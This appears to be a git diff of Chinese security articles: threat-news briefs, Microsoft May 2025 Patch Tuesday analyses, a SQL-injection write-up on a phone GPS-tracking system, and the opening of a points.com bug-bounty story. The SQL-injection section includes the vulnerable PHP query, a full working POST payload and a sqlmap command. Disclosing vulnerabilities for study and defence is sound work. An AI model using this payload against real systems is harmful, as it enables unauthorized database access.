Lostkeys证明该组织通过旨在窃取文档和收集敏感数据的多阶段感染链提高了其能力。该威胁组织的成员已在美国被起诉，并在欧洲、英国和美国受到制裁。谷歌威胁情报小组表示，Lostkeys是Coldriver武器库中的一款新工具，代表着从凭证盗窃到完整系统渗透的演变。报告称，该组织有选择地使用恶意软件，仅部署在高价值目标中。Coldriver的典型目标包括前任和现任西方政府顾问、智库、非政府组织、记者和与乌克兰有联系的个人。
|
||||
|
||||
|
||||
**文章来****源：****Bank Info Security**
|
||||
|
||||
|
||||
**04**
|
||||
****
|
||||
|
||||
**土耳其黑客利用Output Messenger零日漏洞在库尔德服务器上放置Golang后门**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍**
|
||||
|
||||
自
|
||||
2024年4月以来，一土耳其附属
|
||||
黑客
|
||||
组织利用了名为
|
||||
Output Messenger的印度企业通信平台中的零日安全漏洞，作为网络间谍攻击活动的一部分。“这些漏洞利用导致从伊拉克
|
||||
目标
|
||||
中
|
||||
收集
|
||||
相关
|
||||
用户数据。
|
||||
”Microsoft威胁情报团队说。“袭击的目标与在伊拉克活动的库尔德军队有关，这与之前观察到的Marbled Dust目标优先事项一致。”该活动被归咎
|
||||
与
|
||||
一个
|
||||
黑客
|
||||
组织
|
||||
有关
|
||||
，该组织被跟踪为
|
||||
Marbled Dust，该组织也被称为Cosmic Wolf、Sea Turtle、Teal Kurma和UNC1326。攻击链从
|
||||
黑客
|
||||
组织以经过身份验证的用户身份获得对
|
||||
Output Messenger Server Manager应用程序的访问权限开始。据信，Marbled Dust使用DNS劫持或拼写错误域等技术来拦截身份验证所需的凭据。去年年初，该黑客团队还被发现以荷兰的电信、媒体、互联网服务提供商（ISP）、信息技术（IT）服务提供商和库尔德网站为目标
|
||||
发起一系列入侵活动
|
||||
。
|
||||
|
||||
**文**
|
||||
**章**
|
||||
**来源：****The Hacker News**
|
||||
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**伪装成远程监控和管理（RMM）软件的新型钓鱼活动针对巴西多行业高管发起欺诈攻击**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍******
|
||||
|
||||
网络安全研究人员警告说，自
|
||||
2025年1月以来，一项针对巴西葡萄牙语
|
||||
企业高管
|
||||
用户的新
|
||||
型钓鱼
|
||||
活
|
||||
动
|
||||
与
|
||||
商业远程监控和管理（
|
||||
RMM）软件
|
||||
使用有关
|
||||
。
|
||||
“垃圾邮件使用巴西电子发票系统NF-e作为诱饵，诱使用户点击超链接并访问Dropbox中托管的恶意内容。”思科Talos研究员 Guilherme Venere在一份报告中表示。攻击链从特制的垃圾邮件开始，这些电子邮件声称来自金融机构或手机运营商，警告逾期账单或未付款项，以诱骗用户点击指向RMM工具二进制安装程序的虚假Dropbox链接。在某些情况下，威胁组织会在初始入侵后使用这些代理的远程功能下载并安装额外的RMM软件，例如ScreenConnect。根据观察到的常见接收者，发现该活动主要针对多个行业的C
|
||||
-level
|
||||
高管以及财务和人力资源客户，包括一些教育和政府机构。
|
||||
|
||||
**文章来源**
|
||||
**：****The Hacker News**
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
# BianLian勒索组织非法入侵美国多个医疗保健诊所系统并窃取15万余客户数据
|
||||
#
|
||||
#
|
||||
#
|
||||
#
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍**
|
||||
|
||||
BianLian
|
||||
勒索组织
|
||||
声称在最近对阿拉巴马州一家眼科诊所和一家加利福尼亚牙科诊所的两次黑客攻击中窃取了患者信息
|
||||
，
|
||||
这两起事件影响了近
|
||||
150,000人，是该勒索组织对医疗保健行业的最新攻击之一。阿拉巴马州眼科协会
|
||||
（
|
||||
AOA）
|
||||
于
|
||||
4月8日向美国卫生与公众服务部报告了其违规行为，称这是一起涉及网络服务器和台式计算机的黑客事件。阿拉巴马州的诊所面临至少一起拟议的联邦集体诉讼，这些诉讼是在黑客攻击发生后最近几周提起的。在第二起涉嫌BianLian数据抢劫案中，总部位于加利福尼亚州圣马特奥市的Sonrisas Dental Health于5月2日向HHS民权办公室报告了一起泄露事件，称这是一起涉及网络服务器的黑客事件。
|
||||
目前
|
||||
，
|
||||
BianLian在其暗网泄露网站上将这两个实体列为最近的受害者。
|
||||
|
||||
**文章来源：****Bank Info Security**
|
||||
|
||||
|
||||
|
||||
**07**
|
||||
|
||||
**美国印第安纳州综合医疗卫生系统遭黑客攻击导致将近26.3万患者数据泄露**
|
||||
#
|
||||
#
|
||||
#
|
||||
#
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍**
|
||||
|
||||
美国
|
||||
印第安纳州的一个综合医疗系统是首批向联邦监管机构和数十万受影响的个人通报
|
||||
1月份黑客事件的医疗保健组织之一，该事件
|
||||
导致
|
||||
Cerner服务器托管的遗留患者数据
|
||||
遭泄露
|
||||
。总部位于印第安纳州特雷霍特的联合卫生系统（
|
||||
UHS）经营着两家医院和一个医疗集团，该公司于4月21日向美国卫生与公众服务部报告了这一违规行为，影响了近26.3万人。Union Health的违规通知中表示，一个未知方联系了Union Health，声称拥有与该医疗保健实体有关的信息。Union Health表示，该事件不涉及该医疗保健实体自己的网络、其实时电子健康记录或Union Health拥有、运营或管理的任何其他IT系统。Oracle Health/Cerner告诉Union Health，该实体的受影响文件包含的患者信息因人而异，但包括姓名、社会安全号码、驾驶执照号码、出生日期、主治医生、服务日期、药物、保险信息、治疗和诊断信息。
|
||||
|
||||
**文章来源：****Bank Info Security**
|
||||
|
||||
|
||||
|
||||
**08**
|
||||
|
||||
**匿名黑客窃取美国驱逐航空公司GlobalX的航班记录和乘客信息**
|
||||
#
|
||||
#
|
||||
#
|
||||
#
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍******
|
||||
|
||||
GlobalX Airlines是一家美国政府用于执行驱逐航班
|
||||
的
|
||||
合同包机
|
||||
公司
|
||||
，
|
||||
据称，
|
||||
未知
|
||||
攻击者
|
||||
非法入侵其系统
|
||||
访问了敏感信息，包括航班记录和乘客清单，并用带有政治色彩的信息污损了该航空公司的官方网站，以表达对该公司在有争议的驱逐程序中的作用的反对。除了象征性的网站污损行为外，黑客
|
||||
分子还联系了记者
|
||||
（
|
||||
包括
|
||||
404 Media的记者
|
||||
）
|
||||
以分享大量泄露的数据。据报道，这些信息
|
||||
库包括详细的飞行日志、全面的乘客名单和跨越几个月的行程细节。
|
||||
404 Media在仔细核实了移民和海关执法局（ICE）的官方飞行日志和法庭文件后，确认了1月19日至5月1日分类文件夹中的数据的真实性。据报道，这些数据包含用于驱逐数百名委内瑞拉移民的航班的细节，其中一些人在已经飞行时就
|
||||
质疑驱逐出境的合法性。
|
||||
|
||||
**文章来源**
|
||||
**：****Hack Read**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期回顾：
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU3MDA0MTE2Mg==&mid=2247492777&idx=1&sn=6c2e95fe0b6f8ea8a6d148142948acc4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU3MDA0MTE2Mg==&mid=2247492715&idx=1&sn=f5f43cab2f8e147554de06c2ef04eabd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
30
doc/2025-05/微软2025年5月补丁星期二安全更新修复了5个已被积极利用的零日漏洞.md
Normal file
30
doc/2025-05/微软2025年5月补丁星期二安全更新修复了5个已被积极利用的零日漏洞.md
Normal file
@ -0,0 +1,30 @@
|
||||
# 微软2025年5月"补丁星期二"安全更新修复了5个已被积极利用的零日漏洞
|
||||
鹏鹏同学 黑猫安全 2025-05-14 23:00
|
||||
|
||||
|
||||
|
||||
微软"补丁星期二"安全更新修复了75个安全漏洞，涉及Windows及组件、Office及组件、.NET与Visual Studio、Azure、Nuance PowerScribe、远程桌面网关服务以及微软 Defender。其中12个漏洞被评定为"严重"级别，其余均为"重要"级别。微软确认有5个零日漏洞已被黑客主动利用。
|
||||
|
||||
"本次发布的补丁中，12个属严重级别，其余为重要级别。虽然五月份的补丁数量历来较多，但今年微软修复的CVE漏洞数量已超过去年同期。更不寻常的是单月修复如此多Office相关漏洞，这或许预示着今年下半年可能出现针对性的攻击活动。"零日倡议组织（ZDI）分析称，"微软特别标注其中5个漏洞在发布时已遭活跃攻击，另有2个漏洞的利用方法已被公开。"
|
||||
|
||||
当前遭野外利用的漏洞包括：
|
||||
• CVE-2025-30397（CVSS评分7.5）——脚本引擎内存损坏漏洞
|
||||
• CVE-2025-30400（CVSS评分7.8）——微软桌面窗口管理器(DWM)核心库权限提升漏洞
|
||||
• CVE-2025-32701（CVSS评分7.8）——Windows通用日志文件系统(CLFS)驱动权限提升漏洞
|
||||
• CVE-2025-32706（CVSS评分7.8）——Windows通用日志文件系统驱动权限提升漏洞
|
||||
• CVE-2025-32709（CVSS评分7.8）——Windows Winsock辅助功能驱动权限提升漏洞
|
||||
|
||||
【漏洞深度分析】
|
||||
▶ CVE-2025-30397——脚本引擎内存损坏漏洞
|
||||
攻击者可通过诱导用户点击特制链接，利用Edge浏览器中的远程代码执行漏洞强制触发IE兼容模式。
|
||||
|
||||
▶ CVE-2025-32701/32706——Windows通用日志文件系统驱动权限提升漏洞
|
||||
这些近期频发的Windows组件漏洞可实现SYSTEM级提权，常被勒索软件攻击链利用。
|
||||
|
||||
▶ CVE-2025-32709——Windows Winsock辅助功能驱动权限提升漏洞
|
||||
研究人员发现该组件自二月份修补后再次遭利用，暴露出补丁质量问题，攻击者可借此实现SYSTEM权限提升。
|
||||
|
||||
▶ CVE-2025-30400——微软DWM核心库权限提升漏洞
|
||||
这个近期重现的提权漏洞允许SYSTEM级代码执行，专家警告可能被用于钓鱼攻击或勒索软件攻击链。
|
||||
|
||||
|
||||
@ -0,0 +1,181 @@
|
||||
# 微软5月安全更新：78漏洞深度透视，5大零日实战利用链及Azure DevOps CVSS 10漏洞攻防策略
|
||||
原创 Hankzheng 技术修道场 2025-05-14 23:55
|
||||
|
||||
|
||||
### 核心看点 (TL;DR):
|
||||
- 微软2025年5月补丁日修复78个漏洞，11个严重，**5个零日（已被利用）**
|
||||
。
|
||||
|
||||
- **零日重灾区：**
|
||||
Scripting Engine (RCE), DWM (EoP), CLFS (EoP x2), WinSock AFD (EoP)。
|
||||
|
||||
- **技术原理解析：**
|
||||
深入类型混淆、内核对象操纵、TOCTOU等利用机制。
|
||||
|
||||
- **最高危漏洞：**
|
||||
Azure DevOps Server (**CVE-2025-29813**
|
||||
) CVSS 10.0网络权限提升。
|
||||
|
||||
- **重点关注：**
|
||||
Defender for Endpoint (Linux) 及 Defender for Identity 亦曝出重要漏洞。
|
||||
|
||||
- **CISA预警：**
|
||||
5大零日已入KEV目录，联邦机构限期修复。
|
||||
|
||||
- **行动指南：**
|
||||
立即评估、优先修补、强化监控、纵深防御。
|
||||
|
||||
2025年5月13日，微软的“补丁星期二”再次带来了大量安全更新，共计 **78个漏洞**
|
||||
得到修复。其中，**11个被评为“严重”等级，66个“重要”，1个“低危”**
|
||||
。尤为严峻的是，**5个零日漏洞已被证实用于实际攻击活动**
|
||||
。本技术通报将聚焦核心高危漏洞，进行深度技术剖析，并提供企业级防御建议。
|
||||
## 五大在野利用零日漏洞：技术原理与攻击者视角
|
||||
1. ### CVE-2025-30397 (CVSS 7.5) - Scripting Engine (JScript9) 内存损坏漏洞 (RCE)
|
||||
|
||||
攻击原理：
|
||||
此漏洞源于JScript9引擎在处理JavaScript时发生的**类型混淆 (Type Confusion)**
|
||||
。攻击者通过构造恶意网页或脚本，诱使用户（例如通过Edge的IE模式）访问。在脚本执行过程中，引擎对某一对象的内部类型判断失误（例如，将A类型对象误作B类型对象处理），导致后续操作访问了非预期的内存地址和数据结构。
|
||||
|
||||
利用链：
|
||||
这种类型混淆一旦成功触发，攻击者往往能获得**相对内存读/写原语**
|
||||
。随后，攻击者会利用此能力：
|
||||
|
||||
|
||||
**防御者视角：**
|
||||
关注浏览器沙箱逃逸组合拳。及时更新浏览器及脚本引擎是关键。
|
||||
|
||||
发现者：
|
||||
微软威胁情报团队。
|
||||
|
||||
1. 信息泄露：读取内存中的关键数据（如模块基址、函数指针）以绕过ASLR。
|
||||
|
||||
1. 数据篡改：修改特定对象（如ArrayBuffer的长度、TypedArray的指针）或函数指针，最终劫持程序控制流。
|
||||
|
||||
1. Shellcode执行：在当前用户权限（浏览器沙箱内或浏览器进程权限）下执行任意代码。若用户是管理员，则可完全控制主机。
|
||||
|
||||
1. ### CVE-2025-30400 (CVSS 7.8) - Microsoft DWM核心库权限提升漏洞 (EoP)
|
||||
|
||||
攻击原理：
|
||||
Desktop Window Manager (dwm.exe
|
||||
/ dwmcore.dll
|
||||
) 负责Windows图形用户界面的渲染和组合。此EoP漏洞可能源于DWM在处理来自低权限进程的特制API调用（如与窗口句柄、GDI对象、DirectComposition相关的API）或窗口消息时，未能正确验证输入或处理对象状态，导致在DWM进程（通常以SYSTEM权限运行部分组件，或能影响高权限操作）上下文中产生可利用的条件（如写入受限内存区域）。
|
||||
|
||||
利用链：
|
||||
攻击者通常先通过其他漏洞（如浏览器RCE）获得低权限代码执行，然后利用此DWM漏洞将权限提升至SYSTEM。这是自2023年来第3个被利用的DWM EoP零日（**CVE-2024-30051**
|
||||
曾用于QakBot分发）。
|
||||
|
||||
**防御者视角：**
|
||||
DWM是本地权限提升的常见目标。监控异常的窗口消息和GDI操作。
|
||||
|
||||
发现者：
|
||||
微软威胁情报团队。
|
||||
|
||||
1. ### CVE-2025-32701 (CVSS 7.8) & CVE-2025-32706 (CVSS 7.8) - Windows CLFS驱动权限提升漏洞 (EoP)
|
||||
|
||||
攻击原理：
|
||||
Common Log File System (clfs.sys
|
||||
) 是一个内核驱动，为系统和应用提供日志服务。CLFS漏洞常因解析BLF（Base Log File）文件格式时对元数据（如容器大小、记录偏移、区块校验和）处理不当而产生。攻击者可构造畸形的BLF文件，当内核通过CreateLogFile
|
||||
等API加载或操作此文件时，可能触发内核池溢出、Use-After-Free或整数算术错误，最终导致在Ring 0执行任意代码。
|
||||
|
||||
利用链：
|
||||
这些是自2022年来CLFS中第7和第8个被利用的EoP零日（例如，**CVE-2025-29824**
|
||||
曾被Play勒索软件用于提权）。
|
||||
|
||||
**防御者视角：**
|
||||
CLFS是内核提权的“明星组件”。加强对BLF文件创建和访问的审计。
|
||||
|
||||
发现者：
|
||||
CVE-2025-32701 (微软); CVE-2025-32706 (谷歌Benoit Sevens & CrowdStrike)。
|
||||
|
||||
1. ### CVE-2025-32709 (CVSS 7.8) - Windows WinSock AFD驱动权限提升漏洞 (EoP)
|
||||
|
||||
攻击原理：
|
||||
Ancillary Function Driver for WinSock (afd.sys
|
||||
) 是处理网络套接字操作的内核驱动。AFD漏洞通常与对套接字对象属性、IOCTL（I/O Control codes, 如SIO_SET_HANDLE_TYPE
|
||||
）或异步I/O操作（如IRP处理）的并发访问或参数验证不当有关。攻击者可利用这些缺陷在内核模式下触发条件竞争、空指针解引用或数据结构损坏，最终实现代码执行。
|
||||
|
||||
利用链：
|
||||
这是一年内第3个被利用的AFD EoP零日（**CVE-2024-38193**
|
||||
曾被Lazarus组织利用）。
|
||||
|
||||
**防御者视角：**
|
||||
AFD是网络相关的内核提权路径。监控异常网络API调用和IOCTL请求。
|
||||
|
||||
发现者：
|
||||
匿名研究员。
|
||||
|
||||
## 为何DWM, CLFS, AFD成为EoP漏洞“常客”？
|
||||
|
||||
这些组件因其**核心地位（直接或间接与内核交互）、广泛的攻击面（处理复杂的用户模式输入）、潜在的历史代码缺陷以及高权限运行（一旦攻破即获得SYSTEM权限）**
|
||||
等因素，成为攻击者和安全研究人员持续关注的焦点。
|
||||
## 其他高危及重点漏洞深度解读：
|
||||
### CVE-2025-29813 (CVSS 10.0) - Azure DevOps Server 权限提升漏洞 (RCE/EoP over Network)
|
||||
|
||||
技术细节：
|
||||
允许未经身份验证的远程攻击者在Azure DevOps Server（本地部署版本）上提升至管理员权限。微软暂未披露具体技术细节，但CVSS 10.0通常意味着利用简单、无需用户交互且可直接获得最高控制权。
|
||||
|
||||
潜在影响：
|
||||
完全接管CI/CD服务器、窃取所有项目源代码及敏感凭证、篡改构建流程以植入供应链后门、分发恶意软件至下游用户。
|
||||
|
||||
微软措施：
|
||||
云端Azure DevOps Services已自动应用修复，本地部署版客户需立即行动。
|
||||
|
||||
**防御者视角：**
|
||||
这是软件供应链安全的“核弹级”风险。严格网络隔离，及时更新。
|
||||
### CVE-2025-26684 (CVSS 6.7) - Microsoft Defender for Endpoint for Linux 本地权限提升 (EoP)
|
||||
|
||||
技术细节：
|
||||
产品中一个以root权限运行的Python辅助脚本 (mdatp_azure_agent.py
|
||||
) 内的grab_java_version()
|
||||
函数，通过检查/proc/<PID>/exe
|
||||
确定Java可执行文件路径，然后执行<java_path> -version
|
||||
。攻击者可创建一个名为java
|
||||
或javaw
|
||||
的恶意脚本或程序，并确保该恶意程序作为某个进程运行。当Defender脚本扫描进程并“发现”这个由攻击者控制的“java”进程时，它会信任从/proc/<PID>/exe
|
||||
获取的路径，并以root权限执行该恶意程序（的-version
|
||||
参数），从而导致权限提升。
|
||||
|
||||
**防御者视角：**
|
||||
典型的TOCTOU与路径信任问题。限制不必要脚本的root权限，对/proc
|
||||
文件系统访问加强监控，确保关键工具路径的完整性。
|
||||
### CVE-2025-26685 (CVSS 6.5) - Microsoft Defender for Identity 欺骗漏洞 (Spoofing)
|
||||
|
||||
技术细节：
|
||||
Defender for Identity的横向移动路径检测功能在特定场景下可被利用。当攻击者在局域网内，并且能促使目标环境中的Kerberos认证因故（如KDC服务临时故障、SPN配置错误、客户端策略限制等）**回退到NTLM认证**
|
||||
时，攻击者可以操纵网络流量，使得MDI传感器（通常以高权限的目录服务账户运行）向攻击者控制的服务器发起NTLM认证。
|
||||
|
||||
潜在影响：
|
||||
攻击者捕获此NTLMv1/v2质询/响应后，可进行离线破解或NTLM Relay攻击（例如，将认证中继到LDAP、SMB等服务，可能导致创建新管理员账户、修改组成员或执行远程命令）。获取目录服务账户的NTLM哈希，即使不破解，也可用于Pass-the-Hash攻击，在域内横向移动。
|
||||
|
||||
**防御者视角：**
|
||||
强化Kerberos配置，禁用不安全的NTLM版本，监控NTLM中继和异常认证行为。
|
||||
## CISA指令与企业行动纲领：
|
||||
|
||||
美国CISA已将上述5个零日漏洞紧急加入其KEV（已知被利用漏洞）目录，要求联邦机构在2025年6月3日前完成修复。对所有企业，我们提出以下行动纲领：
|
||||
1. **立即评估与优先修补：**
|
||||
全面梳理受影响资产，第一时间部署本月微软安全更新。**优先处理5个零日漏洞、CVSS 9.0以上漏洞（特别是CVE-2025-29813）以及面向公网的服务。**
|
||||
|
||||
1. **纵深防御强化：**
|
||||
1. 攻击面削减：对DWM、CLFS、AFD等组件，虽然直接削减攻击面较难，但应确保上层应用（如浏览器、Office）沙箱的有效性。
|
||||
|
||||
1. 网络隔离：严格隔离Azure DevOps Server等核心关键系统，限制其网络暴露。
|
||||
|
||||
1. 最小权限原则：确保服务账户、用户账户权限最小化。
|
||||
|
||||
1. **增强检测与响应 (EDR/NDR/SIEM)：**
|
||||
1. 监控上述漏洞相关的异常行为（如可疑脚本执行、DWM/CLFS/AFD相关API的异常调用模式、Defender产品的异常日志）。
|
||||
|
||||
1. 加强对NTLM认证、特别是NTLM回退和中继行为的监控与告警。
|
||||
|
||||
1. **安全配置审查：**
|
||||
定期审查Defender for Endpoint (Linux) 和 Defender for Identity等安全产品的配置，确保其自身安全。
|
||||
|
||||
1. **供应链安全意识：**
|
||||
Azure DevOps漏洞再次凸显了软件供应链安全的极端重要性。
|
||||
|
||||
## 安全提示：
|
||||
|
||||
本月除微软外，Adobe、Google (Android, Chrome)、Cisco、Fortinet、SAP、VMware等众多主流厂商亦发布了重要安全更新。建议用户全面关注自身资产所涉及的各类软硬件厂商的安全通告，建立常态化的漏洞跟踪和修复流程。
|
||||
|
||||
保持警惕，主动防御，持续迭代安全策略，是应对当前复杂网络威胁环境的唯一途径。
|
||||
|
||||
54
doc/2025-05/某GPS定位系统存在前台SQL注入漏洞.md
Normal file
54
doc/2025-05/某GPS定位系统存在前台SQL注入漏洞.md
Normal file
@ -0,0 +1,54 @@
|
||||
# 某GPS定位系统存在前台SQL注入漏洞
|
||||
阿乐你好 2025-05-15 01:06
|
||||
|
||||
|
||||
|
||||
点击上方
|
||||
蓝字
|
||||
关注我们 并设为
|
||||
星标
|
||||
## 0x00 前言
|
||||
|
||||
**手机端强制打开GPS，每3分钟（可调）获取一次所在经纬度，如果位置变化距离超过100米（可调），**
|
||||
|
||||
**则提交给后台的PHP。然后后台把得到的数据保存到数据库，再通过前面的百度地图API绘制出轨迹和显示驻留时间。**
|
||||
|
||||
**安卓端安装好后，设置开机自启并打开相应的权限，手机会弹出一个ID，**
|
||||
|
||||
**拿着ID到后台地址监控页就可以随时查看手机的活动轨迹了。**
|
||||
|
||||
|
||||
## 0x01 漏洞分析&复现
|
||||
|
||||
**位于 /userActivity.php 中通过 POST 传入 type 及 getUserLocation 参数，且未加过滤，直接带入SQL查询字句中，导致漏洞产生.**
|
||||
|
||||
****
|
||||
```
|
||||
if ($type == 'getUserLocation') { $aid = $_POST['aid']; $aid = preg_replace('/\|/', "','", $aid); $rs = mysqli_query($conn, "SELECT * FROM `user_location` WHERE `aid` IN ('$aid') ORDER BY id DESC LIMIT 5"); $out = array(); while ($row = mysqli_fetch_object($rs)) { $out[] = $row; }}
|
||||
```
|
||||
|
||||
|
||||
Payload:
|
||||
|
||||
```
|
||||
POST /userActivity.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 227Content-Type: application/x-www-form-urlencodedCookie: Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1731328644; _ga=GA1.1.2095806093.1731475984; Hm_lvt_22fbf4ec0601742141df7f652a137a5c=1731635709; Hm_lvt_ddf174778b49d80ad4f7dc54a908a39f=1732349704; su_webp=1; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1734361867Host: 127.0.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1type=getUserLocation&aid=') OR (SELECT 1085 FROM(SELECT COUNT(*),CONCAT((SELECT (USER())),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('UGwc'='UGwc
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
Python sqlmap.py -r a.txt
|
||||
```
|
||||
|
||||
|
||||
********## 0x02 源码下载
|
||||
|
||||
**标签:代码审计，0day，渗透测试，系统，通用，0day，闲鱼，转转**
|
||||
|
||||
|
||||
**GPS源码关注公众号，发送 250425 获取!**
|
||||
|
||||
|
||||
**免责声明:****文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！!**
|
||||
|
||||
389
doc/2025-05/漏洞赏金故事 挖穿全球最大航空与酒店积分平台.md
Normal file
389
doc/2025-05/漏洞赏金故事 挖穿全球最大航空与酒店积分平台.md
Normal file
@ -0,0 +1,389 @@
|
||||
# 漏洞赏金故事 | 挖穿全球最大航空与酒店积分平台
|
||||
白帽子左一 白帽子左一 2025-05-15 04:01
|
||||
|
||||
|
||||
|
||||
扫码领资料
|
||||
|
||||
获网安教程
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**来****Track安全社区投稿~**
|
||||
|
||||
**赢千元稿费！还有保底奖励~（https://bbs.zkaq.cn）**
|
||||
# 引言
|
||||
|
||||
在2023年3月至2023年5月期间，我们在 points.com 中发现了多个安全漏洞。该平台是众多航空公司和酒店积分奖励计划的后台服务提供商。这些漏洞可能使攻击者能够访问用户的敏感账户信息，包括姓名、账单地址、脱敏处理后的信用卡信息、电子邮件、电话号码以及交易记录。
|
||||
|
||||
更严重的是，攻击者还可以利用这些漏洞执行一系列操作，例如从用户账户中转移积分，甚至获取全球管理员网站的未授权访问权限。一旦获得此权限，攻击者将具备完全的操作权限，能够发放奖励积分、管理奖励计划、查看和控制用户账户，以及执行其他管理操作。
|
||||
|
||||
在我们报告这些漏洞后，points.com 团队反应迅速，在一小时内确认了每一份报告。他们立即将受影响的网站下线，展开全面调查，并修复了所有发现的问题。本博客中提到的所有漏洞目前均已被修复。
|
||||
|
||||
|
||||
# 对Points.com进行信息收集
|
||||
|
||||
随着近年来机票价格的飙升，我开始越来越深入地接触所谓的“信用卡薅羊毛”圈子——通过精心规划信用卡使用与消费行为，以获取可用于兑换航班和酒店的奖励积分。从黑客的角度看，这类系统极具吸引力：它们存储的数字积分，本质上与真实货币仅一步之遥。使用这些系统越多，我就越想搞清楚它们背后到底是怎么运作的，究竟是什么在支撑整个积分奖励行业。
|
||||
|
||||
我联系了
|
||||
Ian Carroll
|
||||
，他是一位在航空公司系统漏洞挖掘方面非常有经验的黑客，同时运营着一个名为
|
||||
seats.aero
|
||||
的航空奖励订票网站。我向他表达了我想要挖掘积分系统漏洞的兴趣。我们聊了一阵后，又拉来了
|
||||
Shubham Shah
|
||||
，另一位长期专注于航空系统漏洞挖掘的黑客，三人组建了一个小群聊，目标是发现影响积分奖励生态系统的安全漏洞。
|
||||
|
||||
在开始研究后，我们发现一个名为 points.com 的公司是几乎所有主流奖励计划的服务提供商。几乎所有我坐过的航空公司，其奖励积分的存储与处理，后台系统都是由 points.com 提供的。他们似乎是该领域的行业领导者，甚至在官网上设置了
|
||||
security.txt
|
||||
页面。
|
||||
### 这一切到底是怎么运作的？
|
||||
|
||||
在 GitHub 上搜索并阅读了几个小时的 points.com 相关文档后，我们发现了一个专为奖励计划打造的 API，运行在 “lcp.points.com” 网站上。在浏览一些公开代码库时，我们找到了一个指向 “lcp.points.com” API 文档的链接，不过这个文档已从网上删除。幸运的是，我们在 archive.org 上找到了它的存档版本。
|
||||
|
||||
这个存档文档详细介绍了奖励计划如何通过该 API 完成用户认证、发放积分、转移积分、消费积分等操作，还包括许多其他功能。
|
||||
|
||||
|
||||
|
||||
我们最初的想法是：“我们要如何以某个奖励计划的身份使用这个 API？”在进一步探索之后，我们发现了一个名为 “console.points.com” 的网站，它允许公众注册，用于创建奖励计划的初始账户（skeleton accounts），这些账户需要经过人工审核才能生效。
|
||||
|
||||
|
||||
|
||||
在登录该门户网站后，我们发现它其实是一个奖励计划的管理控制台，奖励计划可以在其中初始化和管理类似 OAuth 类型的应用程序。这些应用程序会被分配用于与 “LCP API”（即 “Loyalty Commerce Platform”，忠诚度商务平台）交互的 API 密钥，而该 API 的主机正是 “lcp.points.com”。
|
||||
|
||||
接下来我们检查了控制台中运行的 JavaScript，发现 “console.points.com” 网站似乎也被 points.com 的员工用于执行与客户账户、奖励计划及网站本身相关的管理操作。
|
||||
|
||||
奖励计划用于管理积分和客户账户的 API（lcp.points.com）需要两个密钥才能进行交互，这两个密钥会在你注册 console.points.com 网站时分发：
|
||||
- • macKeyIdentifier
|
||||
：本质上相当于 OAuth 的 client_id
|
||||
|
||||
- • macKey
|
||||
：本质上相当于 OAuth 的 client_secret
|
||||
|
||||
利用我们在 “console.points.com” 上注册应用时获得的上述两个变量，我们能够使用 OAuth 2.0 的 MAC 认证方式签名 HTTP 请求，并调用忠诚度平台的 API（即 lcp.points.com）。
|
||||
|
||||
|
||||
该平台使用这种授权方式让人有些沮丧，因为这意味着我们必须编写一个用于签名 HTTP 请求的包装器来模糊测试 API，同时也意味着奖励计划发送的 HTTP 请求中并不会包含密钥本身。例如，如果我们在某个航空公司奖励计划中发现了 SSRF 等漏洞，泄露给我们的不会是密钥，而只是该航空公司尝试发送的特定 HTTP 请求的签名。
|
||||
|
||||
我们用 Python 脚本手动对每个 HTTP 请求进行签名，对该 API 进行了长时间的模糊测试，但未能发现任何明显的授权漏洞。虽然我们很容易就能找到其他航空公司奖励计划的数字 ID，但遗憾的是，并没有发现任何基础性的核心 API 漏洞，比如 IDOR（不安全的直接对象引用）或权限提升。于是我们决定换个方向，更深入地了解这些公开的客户奖励计划是如何使用 points.com 基础设施的。
|
||||
# 探索美联航（United Airlines）积分管理网站
|
||||
|
||||
由于美联航的奖励计划使用了 points.com，我们认为测试一个集成了 points.com 的美联航应用可能会很有趣。我们发现了以下这个 MileagePlus（美联航常旅客计划）相关域名，它用于购买、转让和管理 MileagePlus 里程积分：
|
||||
```
|
||||
https://buymiles.mileageplus.com/united/united_landing_page/#/en-US
|
||||
```
|
||||
|
||||
在对该网站进行了一段时间的模糊测试后，我们很快意识到，“buymiles.mileageplus.com” 这个网站实际上是由 points.com 托管的，而不是美联航自己托管的。这让我们对该网站的授权机制产生了浓厚的兴趣，并开始测试其预期功能的工作方式。
|
||||
|
||||
|
||||
|
||||
我们继续正常使用 “buymiles.mileageplus.com” 网站，并在尝试购买里程时观察到了以下流程：
|
||||
1. 1. 在 “buymiles.mileageplus.com” 网站点击“购买里程（Buy miles）”
|
||||
|
||||
1. 2. 被重定向到
|
||||
www.united.com
|
||||
